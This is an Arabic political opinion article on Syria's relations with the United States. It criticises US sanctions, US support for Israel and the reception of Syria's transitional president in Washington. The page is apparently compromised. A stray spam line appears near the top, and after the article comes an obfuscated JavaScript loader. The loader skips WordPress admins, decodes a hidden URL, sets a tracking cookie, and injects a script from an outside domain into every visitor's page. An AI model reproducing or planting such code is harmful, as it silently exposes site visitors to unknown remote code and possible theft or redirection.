مناقشة مسألة العلاقات مع الأمريكان

0

femdom im_amandaa

سوف نسلّط الأضواء على أهمّ الجوانب المتعلقة بالولايات المتحدة الأمريكية وقطبها، وحدود توجهاتنا وأهدافنا الوطنية في تأسيس وترسيخ علاقات سورية الجديدة مع الأمريكان وتقييم واقع هذه العلاقات حتى الآن.

أولاً: حول الرأي العام السوري بتأسيس علاقات مع الأمريكان والغرب:

إن الشعب السوري الحقيقي، ونقصد بذلك صلب الشعب السوري وكتلته المركزية، وهو الشعب السوري الذي ثار ضد النظام الوظيفي السابق وضد واضعيه ومشغّليه وداعميه، وحارب النظامَ وموالِيه وحلفاءَه، وجزءاً كبيراً من العالم كان يدعمه. وقد استمرّ هذا الشعب بنضاله لكي ينال حريته وكرامته، وإنه قد استأنف نضاله الصاخب لكي يكمل أهداف ثورته التاريخية والفاصلة.

وقد أصررنا على توصيف هذه الكتلة المركزية ليس لأغراض إنشائية واستعراضية، بل لكي نشير إلى مسألة جوهرية، وهي أنه قد يوجد مكوّنات من مكوّنات الشعب السوري تطمح وتلهث لإقامة علاقات خارجية مع اللاعبين الفاعلين، وتُبدي استعدادها الكامل لتقديم خدماتها وتبعيتها لهذه الأطراف الخارجية مهما كانت حدود وطبيعة هذه الخدمات مقابل مكتسبات فئوية محدودة ومناقضة للمصلحة الوطنية العليا. وإن تبياننا لهذا الفرق بين بعض المكوّنات وبين كتلة الشعب السوري هو بندٌ أساسيٌّ من حوارنا مع الدول.

أمّا الشعب السوري الحقيقي فإن رأيه العام الراسخ، والمستند إلى فكرٍ سياسيٍّ عمليٍّ ناضج، يصرّح بأن (تطبيع وتحسين وتمكين العلاقات مع الولايات المتحدة الأمريكية والقطب الغربي هو خيار استراتيجي).

ولكن إن هذا الشعب السوري الذي أثبت جدارته بالاحترام والتقدير وأثبت انتماءه إلى أعظم الحضارات الإنسانية، إن هذا الشعب يشترط بأن تكون هذه العلاقات متوازنة وعادلة ويحكمها مبدأ القانون الدولي وهو المعاملة بالمِثل.

علاقات تبدأ بالتلاقي الحضاري والتصافي وفتح صفحة جديدة بيضاء لا يلطخها أيّة أسبقية، وتباشر مسيرتها الحضارية بالتشارك والتعاون والتكامل بين الشعوب لتحقيق أكبر قدر ممكن من المصالح العامة والشاملة لكي يعمّ هذا العالمَ السلامُ والتقدم والازدهار.

إننا نؤكد بأن ما قلناه أعلاه ليس ترفاً بالكلام، بل هو جوهر محتوى خطابنا للشعوب ولمجالسها وحكوماتها.

ثانياً: إننا ننوه ونؤكد بأن هذا الرأي العام حول العلاقات مع الغرب ليس هو عارضاً وطارئاً أو مستجداً أو إجرائياً واضطرارياً كما يمكن أن يتبادر للبعض المغرضين، بل إننا قد صرّحنا ونادينا بذلك منذ سنوات، وعندما كان الأمريكان والغرب لا يقفون من الثورة السورية بالمكان والموقف الذي يتلاءم ويتوافق مع الشعارات والمبادئ التي يتغنون بها، ومع تسميتهم أنفسهم بالعالم الديمقراطي الحرّ والمتحضر.

وقد اعتمدنا هذا الرأي والموقف من العلاقات مع الغرب وذلك:

1- وفق رؤية بعيدة ونتيجة لتفكير مختلف يتجاوز أخطاء أجيالٍ انتهت وذهبت، ولكن أخطاءهم بقيت وتراكمت، وأصبحت مثل شجيرات صحراوية يعلق بها الغبار والرمال والشوائب حتى تصبح كثيباً، أو مثل كرة الثلج تتدحرج ويلتصق بها غيرها.

2- إلغاءً وإنهاءً لصراع حضاري قديم قد تراكم دون أي فائدة مطلقاً وليس له أي نتاجٍ سوى استفحال النزاع وتجذّره واستعصاء حلّه، وإضاعة الفرص الرابحة الموجودة في الالتقاء والتعاون.

ثالثاً: واقع العلاقات مع الولايات المتحدة الأمريكية – وهي زعيمة القطب الغربي – وتوصيف هذه العلاقات كما هي حتى الآن:

1- مع الأسف نقول بأن الأمريكان لم يتخلصوا حتى الآن من مرضٍ مزمنٍ متوارث يفرض استمرار الصراع، ولازال الأمريكان يتصرفون تصرّف مواجهةٍ واحترازٍ وخداعٍ واقتناص فرص واستغلال ظروف.

2- لازال الأمريكان يتبنون ويدعمون إسرائيل التي ورثوها وتسلموها ممن سبقهم من لاعبي الغرب، حيث لازالوا ينظرون إلى المنطقة بعين إسرائيل ويفكرون بعقليتها وبرغباتها، وهم يفضلون إسرائيل ومهمتها ووظيفتها على جميع الدول العربية وطاقتها البشرية وثرواتها وموقعها الجغرافي.

3- إن الأمريكان، رغم حداثتهم، مستمرون بتقليد الدول الكبرى قبل الحرب العالمية الثانية بنفس السياسات والخطط ونفس الأدوات، ومن أبرز وأوضح ذلك استغلال ضعف الطرف المستهدف، واستغلال التفوق الشاسع بالقوة، واستغلال المفارقات والثغرات، وتوظيف الأقليات الطائفية والإثنية.

4- يواصلون ممارسة التذاكي مقروناً باستغباء شعبنا، حيث إن مجمل الخطاب الأمريكي وجميع التصريحات هي أكاذيب وافتراءات وخدع ووعود خلّبية.

وبإمكاننا أن نضرب مثالاً جامعاً وهو أكذوبة العقوبات: لقد تم الإعلان عن فرض عقوبات ضد النظام السابق بسبب جرائم حرب وممارسات إرهاب محددة وموصوفة ومسمّاة، ولكن لم يكن لهذه العقوبات تأثيرٌ واضحٌ وقويٌّ ضد النظام؛ فقد استمر طويلاً وتصله المساعدات، ويتم تحويل أموال السوريين عن طريقه حصرا. وقد استطاع تحويل سفاراته في الخارج إلى مناجم معادن وآبار نفط، حيث أصبحت تدرّ له الأموال والمبالغ الطائلة من جيوب السوريين المهجّرين بدل أوراق وجوازات سفر بقي هو حصرا المخوّل بإصدارها، رغم تأسيس (ائتلاف قوى المعارضة) وقدرته على إصدار تلك الوثائق. كما بقي النظام يمارس نهب مقدرات سورية وسرقة وابتزاز الشعب وقدرته على الإصدار.

وهناك قرار أمريكي آخر وهو منع وصول السلاح المتطور والحوالات المالية إلى سورية، ولكن هذا القرار تم تطبيقه فقط ضد الثوار والجيش السوري الحر، حيث تم منع وصول السلاح اللازم والحوالات المالية، أمّا النظام فقد ظلّ السلاح بأنواعه كافة يصل إليه بغزارة وكذلك المبالغ المالية والحوالات.

والمفارقة الأكبر والأفظع هي ما يحدث الآن، حيث رغم أن النظام المعاقَب بتلك العقوبات قد انتهى وتمت إزالته، ولكن – وبشكل لا يمتّ للمنطق بصلة – قد بقيت العقوبات الأمريكية مطبقة ضد سورية الجديدة المنكوبة وضد شعبها المنهك والجريح، فبدلاً من تقديم العون والمساعدة والتعويض عن التقصير الواضح طوال 14 سنة من الحرب والدمار، يتم الآن الإصرار على إبقاء العقوبات واستغلالها لابتزاز السوريين ولأغراض أخرى تتعلق بصراعات أمريكا ضد قوى عالمية وإقليمية!! وكذلك قانون منع وصول السلاح المتطور.

5- وهذه اللوحة الواقعية سوف نخصصها للتوصيف المباشر والموثّق لتصرف القيادة الأمريكية:

لقد تمت دعوة رئيس سورية الانتقالي للحضور إلى واشنطن للقاء الرئيس الأمريكي، فسارعت الرئاسة السورية الحالية لتلبية الدعوة، ولكن لم يُجرِ ويتمّ الاستقبال وفق البروتوكول وحسب الإجراءات البسيطة المتعارف عليها، حيث إنه:

أ- لم يدخل الوفد السوري من البوابة الرئيسية والرسمية للبيت الأبيض.

ب- لم تجرِ المراسم كالمعتاد، حيث لم يجلس الرئيس الأمريكي بجانب الضيف وعلى مقاعد متساوية وبأجواء استقبال رئاسية.

ج- لم يتم رفع وإظهار العلم السوري، وهو علم محترمٌ وعزيزٌ ضحّى السوريون بتضحيات غير مسبوقة لاعتماده ورفعه.

د- لم يتخلل المحادثات أي بندٍ يتعلق بسورية الجديدة المنكوبة، وإعادة إعمارها وتأهيلها، وكل ما تم بحثه يتعلق بمصالح غير متوافقة مع المصالح الأمريكية.

إن الشعب السوري الحقيقي الثائر والمستمر بثورته نظر وينظر إلى السياسات والممارسات الأمريكية، وآخرها ما جرى مؤخراً خلال الاستقبال، ويصفها بأنها ممارسات عدائية غير ناضجة.

ولكن الشعب السوري لا يفقد رجاءه وثقته بدولة عظمى ومتقدمة، ولازلنا نأمل أن تستدرك المؤسسات الأمريكية السيادية وصانعة القرار، فترتقي وتضع أمريكا وشعبها بمكان ومرتبة توازي مرتبة (وكالة ناسا للفضاء) وممالك وادي السيليكون وطائرات البوينغ والسيارات الكهربائية وما شابه ذلك.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

لن يتم نشر عنوان بريدك الالكتروني